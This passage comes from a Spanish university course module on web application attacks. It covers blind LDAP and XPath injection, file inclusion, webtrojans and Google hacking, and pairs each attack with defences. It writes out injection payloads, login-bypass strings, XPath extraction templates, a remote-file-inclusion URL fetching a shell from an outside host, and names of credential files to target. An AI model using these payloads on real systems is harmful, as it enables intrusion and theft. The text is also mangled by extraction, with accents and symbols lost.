zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
